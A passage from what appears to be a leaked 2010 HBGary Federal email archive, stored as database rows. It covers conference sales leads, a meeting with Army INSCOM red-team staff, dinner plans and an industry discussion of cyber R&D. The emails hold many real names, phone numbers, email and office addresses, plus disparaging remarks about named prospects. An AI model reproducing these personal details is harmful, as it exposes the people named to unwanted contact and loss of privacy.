UNCLASSIFIED\r\n>>>>>>> Caveats: FOUO\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8284,'aaron_hbgary_com/8284.html'),(7734,'2010-06-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005986.M501136P14101Q2589.eml','rich@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST.ORG leads','Do we have more information?  Like what office, email, phone perhaps a\r\nbusiness card?  \r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com] \r\nSent: Wednesday, June 23, 2010 7:58 PM\r\nTo: Penny Leavy-Hoglund; Bob Slapnik; Maria Lucas; Aaron Barr\r\nSubject: Re: FIRST.ORG leads\r\n\r\nChris Geary\r\n\r\nOn 6/23/10, Penny Leavy-Hoglund  wrote:\r\n> Who was the FBI contact that came to the booth, Maria needs to follow up\r\n>\r\n>\r\n>\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 6:28 PM\r\n> To: \'Maria Lucas\'\r\n> Cc: \'Penny C. Hoglund\'\r\n> Subject: RE: FIRST.ORG leads\r\n>\r\n>\r\n>\r\n> Maria,\r\n>\r\n>\r\n>\r\n> Here are more FIRST leads……..\r\n>\r\n>\r\n>\r\n> Aaron and Rich said a guy from FBI came by the booth when I wasn’t there.\r\nI\r\n> did not get his contact info.  They both thought he was a  strong\r\nprospect.\r\n>\r\n>\r\n>\r\n> Lauri Korts-Pärn\r\n>\r\n> Chief Technical Officer\r\n>\r\n> Cyber Defense Institute, Inc.\r\n>\r\n> CTN Building, 4th Floor, 2-2-5, Kanda Suda cho,\r\n>\r\n> Chiyoda-ku, Tokyo, Japan 101-0041\r\n>\r\n> Tel:  81 3 5209 4336\r\n>\r\n> Email:  lauri@cyberdefense.jp\r\n>\r\n> He is a European guy living in Japan.  Has good English.  A young man.\r\nDoes\r\n> offensive work and software fuzzing.  Interested in REcon for software\r\n> vulnerability and exploitation analysis.  Two follow up items:  (1) Send\r\nhim\r\n> REcon for Exploitation whitepaper and (2) send Responder Pro + REcon eval\r\n> instructions.\r\n>\r\n>\r\n>\r\n> Hiroki Iwai\r\n>\r\n> Chief of Computer Security Laboratory\r\n>\r\n> Risk Research Institute of Cyber Space\r\n>\r\n> Computer Security Laboratory\r\n>\r\n> Little eArth Corporation Co., Ltd.\r\n>\r\n> Hirakawacho Mori Tower\r\n>\r\n> 2-16-1, Hirakawa-cho, Chiyoda-ku\r\n>\r\n> Tokyo, 102-0093, Japan\r\n>\r\n> Tel:  81 3 6757 0120\r\n>\r\n> Mobile:  81 80 5871 8400\r\n>\r\n> iwai@lac.co.jp\r\n>\r\n> Lousy English.  Said 2 years ago that R Pro didn’t see DKOM rootkit.\r\nAsked\r\n> for AD eval.\r\n>\r\n>\r\n>\r\n> Junichi Hatta\r\n>\r\n> Researcher\r\n>\r\n> Risk Research Institute of Cyber Space\r\n>\r\n> Computer Security Laboratory\r\n>\r\n> Same address and phone as above\r\n>\r\n> junichi.hatta@lac.co.jp\r\n>\r\n> Lousy English.  Said 2 years ago that R Pro didn’t see DKOM rootkit.\r\nAsked\r\n> for AD eval.\r\n>\r\n>\r\n>\r\n> Chunyang Yuan\r\n>\r\n> Senior Engineer\r\n>\r\n> National Computer Network Emergency Response Technical Team\r\n>\r\n> Coordination Center of China\r\n>\r\n> Tel:  8610 8299 0311\r\n>\r\n> Mobile:  8613910771755\r\n>\r\n> Email:  ycy@cert.org.cn\r\n>\r\n> Probably not a good idea to work with this guy\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> From: Maria Lucas [mailto:maria@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 1:47 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny C. Hoglund\r\n> Subject: FIRST.ORG leads\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> are there anymore leads from FIRST and Symantec?\r\n>\r\n>\r\n>\r\n> i have Sandia and NASA and have followed up on both\r\n>\r\n>\r\n>\r\n> THANKS\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2955 - Release Date: 06/23/10\r\n> 02:36:00\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n\r\n',13784,'aaron_hbgary_com/13784.html'),(7735,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005986.M832953P14101Q2590.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','ok I will spam you with a few datasheets in case you haven\'t seen them (about 4).  I will also bring my community badge with me.  I am not in JPAS but can be found in the \"other\" database.  Lastly I will come with an open mind to discuss a variety of aspects of cyber.  I have spent a lot of time on both offense and defense, sitting at the national CERTs/SOCs, including 1st IO and believe I have a good understanding of what is broken, what are current and future challenges, and what we can do to tangibly help.  I am a very small company at the moment so I am looking for opportunities where I can help and in turn help grow my business.\r\n\r\nLook forward to our conversation.\r\n\r\nAaron\r\n\r\nOn Jun 24, 2010, at 9:31 AM, Turner, Stephen W CPT MIL USA USINSCOM wrote:\r\n\r\n> Aaron, \r\n> If you have secret information you can send it to my SIPR at stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ Verell, this morning and she informed me that both her and Mrs Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks would have the chance to meet you. She is the decision maker when it comes to recommending new policy and introducing new products. I have the capability to input credited aspects of your social network training into Army training, and I can discuss issues and solutions with you, but that\'s it. I can also take your information and pass it to Mrs. Brooks and MAJ Verell. If that still works for you, I\'ll see you at 10:00. Thanks again\r\n> \r\n> Steve\r\n> \r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Tuesday, June 22, 2010 6:32 pm\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n> \r\n> \r\n>> Ok great. If it is possible to pass clearances I can provide some\r\n>> very interesting perspectives for you specifically. If not maybe\r\n>> another time.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n>>  wrote:\r\n>> \r\n>>> Aaron,\r\n>>> I think all of these topics would be of interest for the red team in\r\n>>> one way or another. I\'ll need to get our computer guys to attend\r\n>>> because they know much more about the malware and computer lingo. My\r\n>>> section is specifically interested in creating awareness of new\r\n>>> media threats and how to protect against them.\r\n>>> \r\n>>> V/R\r\n>>> \r\n>>> CPT Stephen W. Turner\r\n>>> DSN 703-428-4514\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:38 pm\r\n>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  >\r\n>>> \r\n>>> \r\n>>>> CPT Turner,\r\n>>>> \r\n>>>> Let me give you a quick list of things I can talk about and you\r\n>>>> tell me which ones are of the most interest. I can tailor any\r\n>>>> material, etc to your interest.\r\n>>>> \r\n>>>> HBGary Technology that enables enterprise advanced detection of\r\n>>>> advanced zero day malware.\r\n>>>> 1. DDNA - Behavior based malware detection.\r\n>>>> 2. Active Defense - Enterprise advanced malware detection and\r\n>>>> analysis\r\n>>>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n>>>> \r\n>>>> Services and Thought Leadership\r\n>>>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n>>>> transformation of CERT/SOC operations. Knowledge management.\r\n>>>> Information Sharing. New Media, Bringing Malware analysis into\r\n>>>> Net Defense.\r\n>>>> 2. Incident Response - New technologies and processes for more\r\n>>>> efficient IR engagements with leave behind capability for\r\n>>>> continuous monitoring.\r\n>>>> 3. Threat Intelligence - new threats require better threat\r\n>>>> intelligence to understand. Approach to threat intelligence.\r\n>>>> 4. IO - A list of things better discussed in person. Novell ways\r\n>>>> to implement persistent internet operations. New Media, CovCom, etc.\r\n>>>> \r\n>>>> I can pass my clearances if needed.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n>>>> USINSCOM wrote:\r\n>>>> \r\n>>>>> How about 10:00 here at metro park. I figure the traffic should\r\n>>>> good by then and you can still get out of here before the Friday\r\n>>>> traffic starts again. If that time doesn\'t work let me know and\r\n>>>> we\'ll pick another one. The address is:\r\n>>>>> 6359 Walker Lane, Alexandria, VA 22310\r\n>>>>> Once you get here you can give me a call at 703-428-4514 and\r\n>>>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n>>>> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n>>>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n>>>> that you would like to discuss. Again, thanks for taking the time\r\n>>>> to speak with us.\r\n>>>>> \r\n>>>>> Very Respectfully,\r\n>>>>> \r\n>>>>> CPT Stephen W. Turner\r\n>>>>> DSN 703-428-4514\r\n>>>>> \r\n>>>>> ----- Original Message -----\r\n>>>>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:36 am\r\n>>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>>>> To: \"Turner, Stephen W CPT MIL USA\" >>\r\n>>>>> \r\n>>>>>> Friday looks good for me. I will come to you.\r\n>>>>>> \r\n>>>>>> Let me know time and place and I\'ll be there.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>>>>>> \r\n>>>>>>> Classification: UNCLASSIFIED\r\n>>>>>>> Caveats: FOUO\r\n>>>>>>> \r\n>>>>>>> Mr. Barr,\r\n>>>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n>>>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n>>>>>> this week.\r\n>>>>>>> Next week is pretty open for me. Where are you located? I assume\r\n>>>>>> up near\r\n>>>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n>>>>>> here it\r\n>>>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n>>>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n>>>>>> monitoring tools\r\n>>>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n>>>>>>> close\r\n>>>>>>> enough to metro area I could easily come to you. Let me know\r\n>>>>>> what is\r\n>>>>>>> convenient for you and we\'ll pick a time. Thanks\r\n>>>>>>> \r\n>>>>>>> CPT Steve Turner\r\n>>>>>>> \r\n>>>>>>> Classification: UNCLASSIFIED\r\n>>>>>>> Caveats: FOUO\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2613,'aaron_hbgary_com/2613.html'),(7736,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005987.M122303P14101Q2591.eml','\"Bob Slapnik\" <bob@hbgary.com>','Finally got an answer','Hi Bob,\r\n\r\nWe are going to have a classified conversation.  They are really interested in the New Media aspects at the moment, but I am going to talk about Active Defense through the integration with Fidelis and what we can do as a solution for new media.  Hopefully I can segway that into a longer conversation about Active Defense.  We are not going to do any demos for this discussion.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14359,'aaron_hbgary_com/14359.html'),(7737,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005987.M554409P14101Q2592.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Dinner','ok.  I think I know of the Indian place in Mclean.  I live in Mclean so that is convenient for me, but I am happy to try the place in Herndon.  I have to tell you that Haandi in Bethesda blows the place in Mclean out of the water.  Just thinking about their food makes my mouth water.  But its a bit of a distance for you, so I am open.  I also know of a really good Afghan restaurant in Vienna.\r\n\r\nwhat is a good time.\r\n\r\naaron\r\nOn Jun 24, 2010, at 7:11 AM, Bailey, Don wrote:\r\n\r\n> Good morning Aaron - I live in Herndon, VA.  I really like Indian cuisine\r\n> and don\'t get to enjoy it often because the rest of my family doesn\'t share\r\n> my views.  I know a pretty good Indian restaurant in McLean and one here in\r\n> Herndon.\r\n> \r\n> Don Bailey\r\n> Blackbird Technologies, PDG\r\n> 703.345.1304 office\r\n> 703.582.1277 cell\r\n> dbailey@blackbirdtech.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 23, 2010 10:46 PM\r\n> To: Bailey, Don\r\n> Subject: Dinner\r\n> \r\n> Don,\r\n> \r\n> I can\'t remember exactly where you live, its been a few years, but I seem to\r\n> remember it was in Maryland.  Is that right?  There are lots of good places.\r\n> J Gilberts in Mclean is good.  I know a amazing Indian place in Bethesda,\r\n> lots of other good places in Bethesda.  Reston has some good eats.  I am\r\n> flexible on time as well, 7, 8?  Let me know where you are coming from and I\r\n> can pick a place.\r\n> \r\n> Attached are HBGary Federals datasheet for general services as well as the\r\n> briefing I gave at the NSA REBL conference last week on New Media.  Turns\r\n> out this might be a new and lucrative business area for us.  We can talk\r\n> more about it at dinner.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3685,'aaron_hbgary_com/3685.html'),(7738,'2010-06-24','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005987.M756614P14101Q2593.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Sounds good Aaron. Just call 703-428-4514 when you get here. You can park in the parking garage in any spot without a number on it. Looking forward to our conversation as well. \r\n\r\nSteve\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Thursday, June 24, 2010 9:50 am\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n\r\n\r\n> ok I will spam you with a few datasheets in case you haven\'t seen \r\n> them (about 4). I will also bring my community badge with me. I \r\n> am not in JPAS but can be found in the \"other\" database. Lastly I \r\n> will come with an open mind to discuss a variety of aspects of \r\n> cyber. I have spent a lot of time on both offense and defense, \r\n> sitting at the national CERTs/SOCs, including 1st IO and believe I \r\n> have a good understanding of what is broken, what are current and \r\n> future challenges, and what we can do to tangibly help. I am a \r\n> very small company at the moment so I am looking for opportunities \r\n> where I can help and in turn help grow my business.\r\n> \r\n> Look forward to our conversation.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 24, 2010, at 9:31 AM, Turner, Stephen W CPT MIL USA \r\n> USINSCOM wrote:\r\n> \r\n> > Aaron, \r\n> > If you have secret information you can send it to my SIPR at \r\n> stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ \r\n> Verell, this morning and she informed me that both her and Mrs \r\n> Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks \r\n> would have the chance to meet you. She is the decision maker when \r\n> it comes to recommending new policy and introducing new products. \r\n> I have the capability to input credited aspects of your social \r\n> network training into Army training, and I can discuss issues and \r\n> solutions with you, but that\'s it. I can also take your \r\n> information and pass it to Mrs. Brooks and MAJ Verell. If that \r\n> still works for you, I\'ll see you at 10:00. Thanks again\r\n> > \r\n> > Steve\r\n> > \r\n> > DSN 703-428-4514\r\n> > \r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Tuesday, June 22, 2010 6:32 pm\r\n> > Subject: Re: Meeting (UNCLASSIFIED)\r\n> > To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  > \r\n> > \r\n> >> Ok great. If it is possible to pass clearances I can provide some\r\n> >> very interesting perspectives for you specifically. If not maybe\r\n> >> another time.\r\n> >> \r\n> >> Aaron\r\n> >> \r\n> >> From my iPhone\r\n> >> \r\n> >> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n> >>  >> \r\n> >>> Aaron,\r\n> >>> I think all of these topics would be of interest for the red team in\r\n> >>> one way or another. I\'ll need to get our computer guys to attend\r\n> >>> because they know much more about the malware and computer lingo. My\r\n> >>> section is specifically interested in creating awareness of new\r\n> >>> media threats and how to protect against them.\r\n> >>> \r\n> >>> V/R\r\n> >>> \r\n> >>> CPT Stephen W. Turner\r\n> >>> DSN 703-428-4514\r\n> >>> \r\n> >>> ----- Original Message -----\r\n> >>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:38 pm\r\n> >>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n> >>> \r\n> >>> \r\n> >>>> CPT Turner,\r\n> >>>> \r\n> >>>> Let me give you a quick list of things I can talk about and you\r\n> >>>> tell me which ones are of the most interest. I can tailor any\r\n> >>>> material, etc to your interest.\r\n> >>>> \r\n> >>>> HBGary Technology that enables enterprise advanced detection of\r\n> >>>> advanced zero day malware.\r\n> >>>> 1. DDNA - Behavior based malware detection.\r\n> >>>> 2. Active Defense - Enterprise advanced malware detection and\r\n> >>>> analysis\r\n> >>>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n> >>>> \r\n> >>>> Services and Thought Leadership\r\n> >>>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n> >>>> transformation of CERT/SOC operations. Knowledge management.\r\n> >>>> Information Sharing. New Media, Bringing Malware analysis into\r\n> >>>> Net Defense.\r\n> >>>> 2. Incident Response - New technologies and processes for more\r\n> >>>> efficient IR engagements with leave behind capability for\r\n> >>>> continuous monitoring.\r\n> >>>> 3. Threat Intelligence - new threats require better threat\r\n> >>>> intelligence to understand. Approach to threat intelligence.\r\n> >>>> 4. IO - A list of things better discussed in person. Novell ways\r\n> >>>> to implement persistent internet operations. New Media, CovCom, etc.\r\n> >>>> \r\n> >>>> I can pass my clearances if needed.\r\n> >>>> \r\n> >>>> Aaron\r\n> >>>> \r\n> >>>> \r\n> >>>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n> >>>> USINSCOM wrote:\r\n> >>>> \r\n> >>>>> How about 10:00 here at metro park. I figure the traffic should\r\n> >>>> good by then and you can still get out of here before the Friday\r\n> >>>> traffic starts again. If that time doesn\'t work let me know and\r\n> >>>> we\'ll pick another one. The address is:\r\n> >>>>> 6359 Walker Lane, Alexandria, VA 22310\r\n> >>>>> Once you get here you can give me a call at 703-428-4514 and\r\n> >>>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n> >>>> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n> >>>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n> >>>> that you would like to discuss. Again, thanks for taking the time\r\n> >>>> to speak with us.\r\n> >>>>> \r\n> >>>>> Very Respectfully,\r\n> >>>>> \r\n> >>>>> CPT Stephen W. Turner\r\n> >>>>> DSN 703-428-4514\r\n> >>>>> \r\n> >>>>> ----- Original Message -----\r\n> >>>>> From: Aaron Barr > Date: Monday, June 21, 2010 9:36 am\r\n> >>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>>>> To: \"Turner, Stephen W CPT MIL USA\" >\r\n> >>>>> \r\n> >>>>>> Friday looks good for me. I will come to you.\r\n> >>>>>> \r\n> >>>>>> Let me know time and place and I\'ll be there.\r\n> >>>>>> \r\n> >>>>>> Aaron\r\n> >>>>>> \r\n> >>>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> >>>>>> \r\n> >>>>>>> Classification: UNCLASSIFIED\r\n> >>>>>>> Caveats: FOUO\r\n> >>>>>>> \r\n> >>>>>>> Mr. Barr,\r\n> >>>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n> >>>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n> >>>>>> this week.\r\n> >>>>>>> Next week is pretty open for me. Where are you located? I assume\r\n> >>>>>> up near\r\n> >>>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n> >>>>>> here it\r\n> >>>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n> >>>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n> >>>>>> monitoring tools\r\n> >>>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n> >>>>>>> close\r\n> >>>>>>> enough to metro area I could easily come to you. Let me know\r\n> >>>>>> what is\r\n> >>>>>>> convenient for you and we\'ll pick a time. Thanks\r\n> >>>>>>> \r\n> >>>>>>> CPT Steve Turner\r\n> >>>>>>> \r\n> >>>>>>> Classification: UNCLASSIFIED\r\n> >>>>>>> Caveats: FOUO\r\n> >>>>>>> \r\n> >>>>>>> \r\n> >>>>>> \r\n> >>>>>> Aaron Barr\r\n> >>>>>> CEO\r\n> >>>>>> HBGary Federal Inc.\r\n> >>>>>> \r\n> >>>> \r\n> >>>> Aaron Barr\r\n> >>>> CEO\r\n> >>>> HBGary Federal Inc.\r\n> >>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',6909,'aaron_hbgary_com/6909.html'),(7739,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005988.M298994P14101Q2594.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Co Brief','Hey Matt,\r\n\r\nIf you wouldn\'t mind, just work through me for the co-brief.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3780,'aaron_hbgary_com/3780.html'),(7740,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005988.M535490P14101Q2595.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Belated Greetings!','Bill,Thank you for putting this group together. &nbsp;The possibilities are exciting.I had a few thoughts I wanted to share with the group to maybe generate some conversation.During our diner there was some discussion about R&amp;D. &nbsp;While I support the investment in cyber R&amp;D for long range capabilities I actually believe we are spending too much on R&amp;D at the moment and are neglecting meaningful integration and maturation of capabilities that exist today. &nbsp;What we significantly lack is knowledge management and information sharing processes that leverage existing technologies&nbsp;On Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:Ladies and Gentlemen,&nbsp;Please accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.&nbsp;I was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.&nbsp;We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.&nbsp;I do promise to send out the meeting notes asap…&nbsp;Thanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12750,'aaron_hbgary_com/12750.html'),(7741,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005988.M806744P14101Q2596.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Belated Greetings!','All,Apologies.Premature send on the last email. &nbsp;Let me finish the thought.Cybersecurity is not an IT problem, it is an intelligence problem, and currently we lack proper integration of datasets to develop the intelligence knowledge base of threats. &nbsp;We are fighting blind.I think there are existing capabilities that can make significant inroads but as all of you are well aware there are certain obstacles as well.This group I think collectively has the ability to influence maybe some solution sets to this problem. &nbsp;What I was getting to in discussing R&amp;D is we seem to have a focus on the opposite end of the solution spectrum, either we are funding R&amp;D or we are developing solutions for targeted opportunities. &nbsp;I am not aware of a sufficient program to fund intermediate, meaningful integration of broader solutions.We lack the standard methodologies for data integration, knowledge management, and information sharing. &nbsp;This is our biggest limiter.Two suggestions. &nbsp;The group collectively develop or write a paper suggesting a methodology and we help to influence the government to develop a mechanism for funding of integrated solutions.Thoughts?AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:Ladies and Gentlemen,&nbsp;Please accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.&nbsp;I was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.&nbsp;We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.&nbsp;I do promise to send out the meeting notes asap…&nbsp;Thanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2502,'aaron_hbgary_com/2502.html'),(7742,'2010-06-24','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297005989.M323170P14101Q2598.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: USINSCOM','Turns out that I have some classified capabilities very close to what\r\nyou did in Colorado lab.\r\n\r\nWe also have a opportunity called GaitorBait that may be something we\r\nshould talk about.\r\n\r\nInterested?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 24, 2010 9:27 AM\r\nTo: Frisbie, Robert P\r\nSubject: USINSCOM\r\n\r\nHi Bob,\r\n\r\nI have a meeting on Friday with the Chief of the Red Team and Blue Team\r\nat INSCOM as a result of a briefing I did at NSA last week on New Media.\r\nTurns out there is significant anxiety in DoD since a new directive was\r\nsigned a few months ago authorizing access to social/new media on .mil.\r\nI am going to be talking to them about Incident Response, New Media and\r\nits uses and vulnerabilities, IO.  I wasn\'t sure if you have any work in\r\nthat area again yet, but thought this might be of interest.\r\n\r\nI am starting to work on a curriculum to provide training to\r\norganizations on new media familiarization, concerns, processes to\r\nimprove protection, etc.  Also looking into what type of solutions we\r\ncan build to help organizations.  New Media is something I know a little\r\nabout. ;)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9437,'aaron_hbgary_com/9437.html'),(7743,'2010-06-24','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297005989.M43028P14101Q2597.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Dinner','',9512,'aaron_hbgary_com/9512.html'),(7744,'2010-06-24','\"Scott Miller (FEDERAL)\" <scottmil@microsoft.com>','/aaron@hbgary.com/new/1297005989.M683274P14101Q2599.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','RE: Belated Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, your right.&nbsp; This is a hot conversation.&nbsp; I think it will take both R&amp;D as well as leveraging existing technologies.&nbsp; During not so distant congressional\r\n testimony, it was stated that approximately 70%(probably additional debate on the %) of successful exploits today are on systems or applications that are not patched or on current version regardless of open source or COTs.&nbsp; This leaves large areas open for\r\n new systems and solutions as well as R&amp;D.&nbsp; However, to your point and as a vendor responsible for professional services and delivery in the IC and Homeland spaces for the last 20&#43; years, I see a major hurdle for the Govt. adopting technology in general.&nbsp;\r\n\r\n&nbsp;\r\nWith a majority of Govt behind n-2 versions of the latest operating system or application from any vendor, it leaves them 3-7 years behind the newest technology\r\n that has fixed many of the problems or vulnerabilities and added the capabilities that Aaron has mentioned that are needed.&nbsp; Not that this fixes everything, but it allows the ability to focus on the real problems instead of ones that are already fixed with\r\n latest releases. \r\n&nbsp;\r\nI think there is a lot of room to discuss solutions and 